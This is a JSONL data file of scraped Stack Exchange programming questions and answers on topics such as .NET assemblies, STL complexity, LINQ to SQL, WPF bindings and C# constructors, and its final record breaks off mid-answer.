{"id": "hf_c46be3c918ef", "question": "<p>A UITableViewCell comes \"pre-built\" with a UILabel as its one and only subview after you've init'ed it. I'd <em>really</em> like to change the background color of said label, but no matter what I do the color does not change. The code in question:</p>\n\n<pre><code>UILabel* label = (UILabel*)[cell.contentView.subviews objectAtIndex:0];\nlabel.textColor = [UIColor whiteColor];\nlabel.backgroundColor = [UIColor darkGrayColor];\nlabel.opaque = YES;\n</code></pre>\n", "question_body": "", "answer": "Your code snippet works fine for me, but it must be done after the cell has been added to the table and shown, I believe. If called from the\n```\ninitWithFrame:reuseIdentifier:\n```\n, you'll get an exception, as the\n```\nUILabel\n```\nsubview\nhas not yet been created.\nProbably the best solution is to add your own\n```\nUILabel\n```\n, configured to your standards, rather than relying on this (very rickety) path to the built-in one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.509347"}
{"id": "hf_b85761307a2e", "question": "<p>If you create a class library that uses things from other assemblies, is it possible to embed those other assemblies inside the class library as some kind of resource?</p>\n\n<p>I.e. instead of having <em>MyAssembly.dll</em>, <em>SomeAssembly1.dll</em> and <em>SomeAssembly2.dll</em> sitting on the file system, those other two files get bundled in to <em>MyAssembly.dll</em> and are usable in its code.</p>\n\n<hr>\n\n<p>I'm also a little confused about why .NET assemblies are <em>.dll</em> files. Didn't this format exist before .NET? Are all .NET assemblies DLLs, but not all DLLs are .NET assemblies? Why do they use the same file format and/or file extension?</p>\n", "question_body": "", "answer": "Take a look at\nILMerge\nfor merging assemblies.\nI'm also a little confused about why .NET assemblies are .dll files. Didn't this format exist before .NET?\nYes.\nAre all .NET assemblies DLLs,\nEither DLLs or EXE normally - but can also be netmodule.\nbut not all DLLs are .NET assemblies?\nCorrect.\nWhy do they use the same file format and/or file extension?\nWhy should it be any different - it serves the same purpose!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.533115"}
{"id": "hf_016444204bd0", "question": "<p>I would like to know the complexity in Big O notation of the STL multiset, map and hash map classes when:</p>\n\n<ul>\n<li>inserting entries</li>\n<li>accessing entries</li>\n<li>retrieving entries</li>\n<li>comparing entries</li>\n</ul>\n", "question_body": "", "answer": "map, set, multimap, and multiset\nThese are implemented using a\nred-black tree\n, a type of\nbalanced binary search tree\n.  They have the following asymptotic run times:\nInsertion: O(log n)\nLookup: O(log n)\nDeletion: O(log n)\nhash_map, hash_set, hash_multimap, and hash_multiset\nThese are implemented using\nhash tables\n.  They have the following runtimes:\nInsertion: O(1) expected, O(n) worst case\nLookup: O(1) expected, O(n) worst case\nDeletion: O(1) expected, O(n) worst case\nIf you use a proper hash function, you'll almost never see the worst case behavior, but it is something to keep in mind — see\nDenial of Service via Algorithmic Complexity Attacks\nby Crosby and Wallach for an example of that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.557178"}
{"id": "hf_50c67c08f1c5", "question": "<p>What libraries are available for writing xml-rpc clients in native C++ or C?</p>\n", "question_body": "", "answer": "You might want to check out either\nxmlrpc-c\nor\nxmlrpc++\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.593335"}
{"id": "hf_098e607e619f", "question": "<p>I'm lead to believe that I cannot count on the order of items added to a dictionary for enumeration purposes.</p>\n\n<p><strong>Is there a class (generic if possible) to which items may be added with a key and which can be enumerated in addition order or which can be retrieved by key?</strong></p>\n\n<p>Clarification: I do not want to enumerate in Key Order. I want to enumerate in addition order. Which is to say that I want to be able to retrieve the items via enumeration on a FIFO ( first in first out) basis.</p>\n", "question_body": "", "answer": "You can achieve the effect you want just by using a\n```\nList\n```\nthat stores the keys in order of addition. Then you can enumerate that list in order, and retrieve the values from the\n```\nDictionary\n```\n.\nHowever, if you want to do all this with a single existing collection type, I'm not aware of a type that does this without you needing to provide a comparer or without the key being part of the item. For the former, you could try\n```\nSortedDictionary\n```\nand for the latter, you could derive a new collection from\n```\nKeyedCollection\n```\n(not entirely sure that this would maintain the order without a comparer so you'd need to experiment to confirm that).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.628228"}
{"id": "hf_7c4a502a2b84", "question": "<p>In a WinForms UserControl, I would pass data to the main GUI thread by calling this.BeginInvoke() from any of the control's methods.  What's the equivalent in a Silverlight UserControl?</p>\n\n<p>In other words, how can I take data provided by an arbitrary worker thread and ensure that it gets processed on the main displatch thread?</p>\n", "question_body": "", "answer": "Use the Dispatcher property on the UserControl class.\n```\n```\nprivate void UpdateStatus()\n{\n  this.Dispatcher.BeginInvoke( delegate { StatusLabel.Text = \"Updated\"; });\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.651654"}
{"id": "hf_259fdbbfe7f0", "question": "<p>I am creating a desktop app in Delphi and plan to use an embedded database.  I've started the project using SQlite3 with the DISQLite3 library. It works but documentation seems a bit light.  I recently found Firebird (yes I've been out of Windows for a while) and it seems to have some compelling features and support.</p>\n\n<p>What are some pros and cons of each embedded db?  Size is important as well as support and resources.  What have you used and why?</p>\n", "question_body": "", "answer": "I'm using Firebird 2.1 Embedded and I'm quite happy with it.I like the fact that the database size is practically unlimited (tested with > 4 GB databases and it works) and that the database file is compatible with the Firebird Server so I can use standard tools for database management and inspection. Distribution consists of dropping few files in your exe folder.\nSimultaneous access from multiple programs is not supported but simultaneous access from multiple threads is (as long as you ensure that only one 'connect' operation is in progress at any given moment).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.675900"}
{"id": "hf_ec65381d38d2", "question": "<p>I am working on a simple portal application using the ASP.NET membership and login controls. I would like to use the PasswordRecovery control to send emails containing forgotten passwords, however my portal requires localization. I have an existing Content Management System that I am pulling the localized strings out of and I would like to link the PasswordRecovery control to that system.</p>\n\n<p>But, it appears that the PasswordRecovery control will ONLY accept a .txt file for the email body...the property is PasswordRecovery1.MailDefinition.BodyFileName</p>\n\n<p>I do not want to use a file on disk, I would like to use the localized content in my CMS.</p>\n\n<p>Is there any way to do this? It occurred to me that I might be able to use the SendingMail event to send my OWN email through the normal System.Net namespace, but that seems sorta cludgy...</p>\n\n<p>Any thoughts?</p>\n\n<p>Thanks,\nMax</p>\n", "question_body": "", "answer": "Found this by googling \"BodyFileName localization\":\nhttp://forums.asp.net/t/1118242.aspx\n:\nJust bind the property to a key in\n  your page's localresource file. The\n  page's local resource file is the file\n  located in a subdirectory called\n  app_localresources in your page's\n  directory. Just use visual studio's\n  \"tools -> create local resource\"\n  option in design view for it be\n  created for you.\nIn that file, create a string\n  key/value pair with something like\nName: myBodyFileName\nValue: myDefaultBodyFile.txt\nThen bind this to the BodyFileName\n  property of the login control with\n  something like\n'>\nThen just create the sattelite local\n  resource files for other cultures and\n  map that key/value pair in those\n  resources to other body text files.\nBy the way, if you used visual studio\n  to create the resource file for you,\n  then the binding may have been done\n  for you automatticaly. Just search for\n  a\n  \"MyChangePasswordControlResource1.BodyFileName\"\n  key in the resource file or something\n  similar.\nRegards, Jorge", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.700123"}
{"id": "hf_53f69bbd63fe", "question": "<p>I have an HTML input box</p>\n\n<pre><code>&lt;input type=\"text\" id=\"foo\" value=\"bar\"&gt;\n</code></pre>\n\n<p>I've attached a handler for the '<em>keyup</em>' event, but if I retrieve the current value of the input box during the event handler, I get the value as it was, and not as it will be!</p>\n\n<p>I've tried picking up '<em>keypress</em>' and '<em>change</em>' events, same problem. </p>\n\n<p>I'm sure this is simple to solve, but at present I think the only solution is for me to use a short timeout to trigger some code a few milliseconds in the future!</p>\n\n<p><em>Is there anyway to obtain the current value during those events?</em></p>\n\n<p>EDIT: looks like I had a caching problem with my js file as I checked the same code later on and it worked just fine. I would delete the question, but not sure if that loses rep for the kind folk who posted ideas :)</p>\n", "question_body": "", "answer": "Can you post your code? I'm not finding any issue with this. Tested on Firefox 3.01/safari 3.1.2 with:\n```\n```\nfunction showMe(e) {\n// i am spammy!\n  alert(e.value);\n}\n....\n<input type=\"text\" id=\"foo\" value=\"bar\" onkeyup=\"showMe(this)\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.736997"}
{"id": "hf_f7c4b837f2ab", "question": "<p>I am using Visual Studio 2008 SP1 (version 9.0.30729.1). My problem is that the only reporting-related toolbox items I see are 3 \"Textbox\" controls. Where are the other stuff? Do I need to add a reference to a different assembly?</p>\n\n<p>Here are the steps I take:<br>\n   1) Open Visual Studio<br>\n   2) Add new project --> \"Reports Application\"<br>\n   3) Open Report1.rdlc<br>\n   4) Open the toolbox and no controls are available (except the repeating 3 Textbox controls)<br></p>\n\n<p>Thanks for your help.</p>\n", "question_body": "", "answer": "Here is a book reference available through Google Books:\nhttp://books.google.com/books?id=b9j0MKXhnygC&pg=PA419&lpg=PA419&dq=vs+2008+Reports+Application+toolbox&source=web&ots=awTO1ibUZH&sig=7iHAUSCZ46_uAjC5lAfLeiXZt_Q&hl=en&sa=X&oi=book_result&resnum=7&ct=result#PPA433,M1\nI also did the same (on same VS2008 SP1) and had the exact same items available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.761415"}
{"id": "hf_7f12b452cfd0", "question": "<p>I have the following tuple, which contains tuples:</p>\n\n<pre><code>MY_TUPLE = (\n    ('A','Apple'),\n    ('C','Carrot'),\n    ('B','Banana'),\n)\n</code></pre>\n\n<p>I'd like to sort this tuple based upon the <strong>second</strong> value contained in inner-tuples (i.e., sort Apple, Carrot, Banana rather than A, B, C).</p>\n\n<p>Any thoughts?</p>\n", "question_body": "", "answer": "```\n```\nfrom operator import itemgetter\n\nMY_SORTED_TUPLE = tuple(sorted(MY_TUPLE, key=itemgetter(1)))\n```\n```\nor without\n```\nitemgetter\n```\n:\n```\n```\nMY_SORTED_TUPLE = tuple(sorted(MY_TUPLE, key=lambda item: item[1]))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.785622"}
{"id": "hf_b3cc216cb6f8", "question": "<p>I wanted to compare the datetime which is in this format \"7/20/2008\" with the ones in the database which is in format \"7/20/2008 7:14:53 AM\".</p>\n\n<p>I tried using \"like\" clause but it did not work beacuse the \"like\" clause uses only string and the one which I am using is date time format.</p>\n\n<p>Can anyone tell how to convert and compare it in database and pull up datetime.</p>\n\n<pre><code>  protected void User_Querytime()\n    {\n    DataClasses2DataContext dc1 = new DataClasses2DataContext();\n    DateTime date1;\n\n\n    string date = Request.QueryString.Get(\"TimeOfMessage\");\n    date1 = Convert.ToDateTime(date);\n\n    var query7 = from u in dc1.syncback_logs\n                 where u.TimeOfMessage = date1\n                 orderby u.TimeOfMessage descending\n                 select u;\n    GridView1.DataSource = query7;\n    GridView1.DataBind();\n    }\n</code></pre>\n", "question_body": "", "answer": "Although I cannot test your exact problem, I was able to compare dates with the following code.\n```\n```\n// Random Date Collection\n    List<DateTime> dateTimes = new List<DateTime>();\n    dateTimes.Add(DateTime.Parse(\"7/20/2008 7:14:53 AM\"));\n    dateTimes.Add(DateTime.Parse(\"7/20/2008 7:14:54 AM\"));\n    dateTimes.Add(DateTime.Parse(\"7/20/2009 7:14:53 AM\"));\n\n    DateTime myDateTime = DateTime.Parse(\"7/20/2008\");\n\n    var query = from d in dateTimes\n                where d.ToShortDateString() == myDateTime.ToShortDateString()\n                select d;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.845907"}
{"id": "hf_be6b9c36c6bd", "question": "<p>What is the simplest way to get: <code>http://www.[Domain].com</code> in asp.net?</p>\n\n<p>There doesn't seem to be one method which can do this, the only way I know is to do some string acrobatics on server variables or Request.Url. Anyone?</p>\n", "question_body": "", "answer": "```\n```\nSystem.Web.UI.Page.Request.Url\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.905185"}
{"id": "hf_5af1b92e530e", "question": "<p>How do you retain the indentation of numbered lists?  I have a page where the numbers are pushed off the page.  How can I prevent this?</p>\n\n<pre><code>&lt;ol style=\"padding: 0\"&gt;\n    &lt;li&gt;Item 1&lt;/li&gt;\n    &lt;li&gt;Item 2&lt;/li&gt;\n    &lt;li&gt;Item 3&lt;/li&gt;\n&lt;/ol&gt;\n</code></pre>\n", "question_body": "", "answer": "With a CSS rule like this:\n```\n```\nol { margin-left: 30px; }\n```\n```\nHere's some information about the\nCSS box model\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.964282"}
{"id": "hf_5ce6db00d9db", "question": "<p>I have a canvas inside a scrollview. I attached a keydown event handler to the scrollview. For most keys, the handler gets called. </p>\n\n<p>However, for the arrow keys, the handler does not get called. Instead, the scrollview gets scrolled in the appropriate direction.</p>\n\n<p>I also attached a keyup handler to the scrollview and the keyup does get called for the arrow keys.</p>\n\n<p>Is there any way to get the arrow key down event here?</p>\n", "question_body": "", "answer": "I found this silly hack to make it work. Setting the scrollview to not be a tabstop keeps it from eating the key events.. but then I had another textbox on the page that all of a sudden ALWAYS had focus because the scrollview didn't anymore. So I fixed that by letting an invisible textbox get focus.\n```\n```\nscrollView.IsTabStop = false;\n\ninvisibleTextBox.Foreground = new SolidColorBrush(Colors.Transparent);\ninvisibleTextBox.Background = new SolidColorBrush(Colors.Transparent);\nCanvas.SetZIndex(invisibleTextBox, -1000);\ninvisibleTextBox.KeyDown += new KeyEventHandler(HandleKeyDown);\ninvisibleTextBox.KeyUp += new KeyEventHandler(HandleKeyUp);\n```\n```\nEdit: I also had to move the text box off the canvas because despite being invisible, its outline still showed up.\n2nd Edit:\nI used a textbox because that was the first thing I found that could capture KeyDown events. However, a UserControl can. So it would probably be better practice to use a UserControl instead of an invisible text box. You can call Focus() on the UserControl if needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:38.987969"}
{"id": "hf_979e7c7467dd", "question": "<p>I have a WPF window for editing database information, which is represented using an Entity Framework object.  When the user closes the window, I'd like to notice in the Closing event whether the information has changed and show a message box offering to save the changes to the database.</p>\n\n<p>Unfortunately, changes to the currently focused edit aren't assigned to the binding source until the edit loses focus, which happens at some point after the Closing event has been processed.</p>\n\n<p>Ideally, there would be a routine which commits all changes in the view hierarchy that I could call before checking to see if my entity has been modified.  I've also looked for information on programmatically clearing the focus in the control with focus, but can't figure out how to do it.</p>\n\n<p>My question is, how is this typically handled?</p>\n", "question_body": "", "answer": "This should get you pretty close:\n```\n```\nprivate void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e)\n{\n    ForceDataValidation();\n}\n\nprivate static void ForceDataValidation()\n{\n    TextBox textBox = Keyboard.FocusedElement as TextBox;\n\n    if (textBox != null)\n    {\n        BindingExpression be = textBox.GetBindingExpression(TextBox.TextProperty);\n        if (be != null && !textBox.IsReadOnly && textBox.IsEnabled)\n        {\n            be.UpdateSource();\n        }\n    }\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.050902"}
{"id": "hf_0b9e3d74c3ff", "question": "<p>Is there a more efficient way to convert an HTMLCollection to an Array, other than iterating through the contents of said collection and manually pushing each item into an array?</p>\n", "question_body": "", "answer": "```\n```\nvar arr = Array.prototype.slice.call( htmlCollection )\n```\n```\nwill have the same effect using \"native\" code.\nEdit\nSince this gets a lot of views, note (per @oriol's comment) that the following more concise expression is\neffectively\nequivalent:\n```\n```\nvar arr = [].slice.call(htmlCollection);\n```\n```\nBut note per @JussiR's comment, that unlike the \"verbose\" form, it does create an empty, unused, and indeed unusable array instance in the process.  What compilers do about this is outside the programmer's ken.\nEdit\nSince ECMAScript 2015 (ES 6) there is also\nArray.from\n:\n```\n```\nvar arr = Array.from(htmlCollection);\n```\n```\nEdit\nECMAScript 2015 also provides the\nspread operator\n, which is functionally equivalent to\n```\nArray.from\n```\n(although note that\n```\nArray.from\n```\nsupports a mapping function as the second argument).\n```\n```\nvar arr = [...htmlCollection];\n```\n```\nI've confirmed that both of the above work on\n```\nNodeList\n```\n.\nA performance comparison for the mentioned methods:\nhttp://jsben.ch/h2IFA", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.075286"}
{"id": "hf_33e4359d23a5", "question": "<p>Is there a way to do a mysql database query in Corel Draw 13(X3)? </p>\n", "question_body": "", "answer": "If I recall correctly, CorelDraw uses VBA as scripting language, no?\nIf so, if it is not restricted, you can probably use ODBC to do that. See\nMySQL Connector/ODBC\nfor details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.100095"}
{"id": "hf_1d8675c86bc6", "question": "<p>I have generated linq to sql entites but cannot figure out how to assign null to a nullable column. whenever i try to assign null to it it says \"there is no implicit type conversion between int and \". BTW the type of the field is int? and the database column is also nullable.</p>\n", "question_body": "", "answer": "It seems as though the column isn't really nullable. Check the properties of the column and see that it really is marked as nullable. If it isn't, check your database model and try to recreate the\nLINQ to SQL\nmodel if it's nullable in the database.\nMind that you can't simply mark it as nullable in the\nLINQ to SQL\nmodel and not in the database, since these kinds of discrepancies may cause your\nLINQ to SQL\nmodel to stop working.\nPost edit update:\nI can see that the field type is\n```\nint?\n```\nwhich is the same as\n```\nNullable<int>\n```\nso there shouldn't be a problem to set it to null. However, when getting the integer value, you should use the\n```\nValue\n```\nproperty of the\n```\nint?\n```\n. Is that the problem?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.124439"}
{"id": "hf_08aa0a281214", "question": "<p>What's the difference between:</p>\n\n<pre><code>class Child(SomeBaseClass):\n    def __init__(self):\n        super(Child, self).__init__()\n</code></pre>\n\n<p>and:</p>\n\n<pre><code>class Child(SomeBaseClass):\n    def __init__(self):\n        SomeBaseClass.__init__(self)\n</code></pre>\n\n<p>I've seen <code>super</code> being used quite a lot in classes with only single inheritance. I can see why you'd use it in multiple inheritance but am unclear as to what the advantages are of using it in this kind of situation.</p>\n", "question_body": "", "answer": "The benefits of\n```\nsuper()\n```\nin single-inheritance are minimal -- mostly, you don't have to hard-code the name of the base class into every method that uses its parent methods.\nHowever, it's almost impossible to use multiple-inheritance without\n```\nsuper()\n```\n. This includes common idioms like mixins, interfaces, abstract classes, etc. This extends to code that later extends yours. If somebody later wanted to write a class that extended\n```\nChild\n```\nand a mixin, their code would not work properly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.148799"}
{"id": "hf_a216c2ba6a68", "question": "<p>I like LINQ to SQL, but it seems like the classes it generates are tightly coupled to the database they are stored in, which seems like a Bad Thing. </p>\n\n<p>For example, using ye olde Northwind database, if I create the dbml with the Products table, a <code>Product</code> class is generated. I can use this class in any other tier, which is all well and good, but if I decide I'd rather use plain old ADO.NET (or switch databases), I'll have to recreate the <code>Product</code> class, along with every other \"model.\"</p>\n\n<p>Is there a way around this? Or to create your object models separately, and then have the tables mapped to them? I've played around with the various mapping classes provided, but haven't found a satisfactory answer yet.</p>\n", "question_body": "", "answer": "Scott Hanselman did a screen talking about asp.net DynamicData where he used Linq To Sql classes.  Although he wasn't addressing the particular issue I think the general concept would still work. His approach was to create a separate\npartial\nclass that had the same name as the class,\n```\nProduct\n```\nin your case, that was generated by the dbml.  Then you should always have a\n```\nProduct\n```\nclass that exists outside of what LINQ generates and just \"extends\" what it does.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.172535"}
{"id": "hf_17ce4d658ccb", "question": "<p>I want to expose few web services but thinking of hosting those as Windows Service as against hosting in IIS.</p>\n\n<p>Is it a good practice? </p>\n\n<p>If yes? How do I make it secured? </p>\n\n<p>I want to authenticate the users who are accessing it (against our custom security database and also want to make sure that the request is originating from our business partner (X.509 certificates???? not worked much with this).</p>\n\n<p>appreciate your pointers in this regards.</p>\n\n<p>Thanks &amp; Regards,\nAjay</p>\n", "question_body": "", "answer": "If you are using IIS6, using a Windows Service is a must for many scenarios. Windows Services are 100% supported and a 100% safe way to host WCF. You can secure them with the same options as in IIS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.235103"}
{"id": "hf_c29b355a8836", "question": "<p>I've been arguing with some friends on the university, and we can't get to a point to which is the framework with more scalability for web applications (and still very fast).</p>\n\n<p>One calls for jsp, the other one for ruby other for php and so on. Could i ask you to clarify us on what as more scalability potential?</p>\n\n<p>Tks, hope I'm not duplicating anything I've searched but didn't found any previous question like this.</p>\n\n<p>Edit: If you could point a comparison about this it would be good :)</p>\n", "question_body": "", "answer": "Algorithms will count more for scalability than the language used.\nThat said, there will be differences in execution speed between the languages. I believe that Java (Servlets and JSPs compile to servlets, i.e., native code) will be faster than Ruby and PHP by some amount). There are also a tonne of web frameworks for Java that will encourage you to do things the best way for scalability.\nAlso design your app so that it can run happily behind a load balancer, and scalability becomes a lot easier :) This isn't my field of expertise however.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.320004"}
{"id": "hf_06098f58713d", "question": "<p>I have the following class which uses BinaryReader internally and implements IDisposable.</p>\n\n<pre>\nclass DisposableClass : IDisposable\n    {\n        private BinaryReader reader;\n        public DisposableClass(Stream stream)\n        {\n            reader = new BinaryReader(stream);\n        }\n\n        protected virtual void Dispose(bool disposing)\n        {\n            if (disposing)\n            {\n                ((IDisposable)reader).Dispose();\n//                reader.Dispose();// this won't compile\n            }\n        }\n\n        public void Dispose()\n        {\n            this.Dispose(true);\n        }\n    }\n</pre>\n\n<p>I have already figured out that I need to cast BinaryReader to IDisposable to be able to call Dispose on it, but I don't understand why I can't just call the Dispose() method directly without casting to IDisposable?</p>\n", "question_body": "", "answer": "It won't work because the\n```\nDispose\n```\nmethod on\n```\nBinaryReader\n```\nhas been explicitly implemented.\nInstead of being implicitly implemented, as in:\n```\n```\npublic void Dispose()\n{\n}\n```\n```\n...it has been explicitly implemented, as in:\n```\n```\nvoid IDisposable.Dispose()\n{\n}\n```\n```\n...which means it can only be accessed via the\n```\nIDisposable\n```\ninterface. Therefore, you have to cast the instance to\n```\nIDisposable\n```\nfirst.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.403335"}
{"id": "hf_358d66b818be", "question": "<p>I was wondering about the best practices regarding this?  I know there are two ways to use IIS and host multiple websites. </p>\n\n<p>The first is to have an IP for every website </p>\n\n<p>The second is to use host headers, and a single IP Address for IIS</p>\n\n<p>I was wondering which was the best practice, and why one should be preferred over the other?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "I personally separate sites based on the relation to each other.  For example all of my business sites share a single IP adddress (1 domain currently).  All of my personal/community sites share a second IP address.\nThe differences can come over time when it comes to sending e-mail as I know that IP comes into play in some blacklisting systems, so if one site with a shared IP address causes problems it CAN cause issues for the other sites using that IP.\nI am sure there are other items, reasons, and justifications, but those are at least mine...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.472802"}
{"id": "hf_edd03bebfa5b", "question": "<p><a href=\"http://en.wikipedia.org/wiki/Tf-idf\" rel=\"noreferrer\">TF-IDF (term frequency - inverse document frequency)</a> is a staple of information retrieval.  It's not a proper model though, and it seems to break down when new terms are introduced into the corpus.  How do people handle it when queries or new documents have new terms, especially if they are high frequency.  Under traditional cosine matching, those would have no impact on the total match.  </p>\n", "question_body": "", "answer": "Er, nope, doesn't break down.\nSay I have two documents, A \"weasel goat\" and B \"cheese gopher\". If we actually represented these as vectors, they might look something like:\nA [1,1,0,0]\nB [0,0,1,1]\nand if we've allocated these vectors in an index file, yeah, we've got a problem when it comes time to add a new term. But the trick of it is,\nthat vector never exists\n. The key is the\ninverted index\n.\nAs far as new terms not affecting a cosine match, that might be true depending on what you mean. If I search my corpus of (A,B) with the query \"marmoset kungfu\", neither marmoset nor kungfu exist in the corpus. So the vector representing my query will be orthogonal to all the documents in the collection, and get a bad cosine similarity score. But considering none of the terms match, that seems pretty reasonable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.595780"}
{"id": "hf_8b2fdf30fb44", "question": "<p><strong><em>Imagine</em></strong> a base class with many constructors and a virtual method</p>\n\n<pre><code>public class Foo\n{\n   ...\n   public Foo() {...}\n   public Foo(int i) {...}\n   ...\n   public virtual void SomethingElse() {...}\n   ...\n}\n</code></pre>\n\n<p>and now i want to create a descendant class that overrides the virtual method:</p>\n\n<pre><code>public class Bar : Foo \n{\n   public override void SomethingElse() {...}\n}\n</code></pre>\n\n<p>And another descendant that does some more stuff:</p>\n\n<pre><code>public class Bah : Bar\n{\n   public void DoMoreStuff() {...}\n}\n</code></pre>\n\n<p>Do i really have to copy all constructors from Foo into Bar and Bah? And then if i change a constructor signature in Foo, do i have to update it in Bar and Bah?</p>\n\n<p>Is there no way to inherit constructors? Is there no way to encourage code reuse?</p>\n", "question_body": "", "answer": "Yes, you will have to implement the constructors that make sense for each derivation and then use the\n```\nbase\n```\nkeyword to direct that constructor to the appropriate base class or the\n```\nthis\n```\nkeyword to direct a constructor to another constructor in the same class.\nIf the compiler made assumptions about inheriting constructors, we wouldn't be able to properly determine how our objects were instantiated. In the most part, you should consider why you have so many constructors and consider reducing them to only one or two in the base class. The derived classes can then mask out some of them using constant values like\n```\nnull\n```\nand only expose the necessary ones through their constructors.\nUpdate\nIn C#4 you could specify default parameter values and use named parameters to 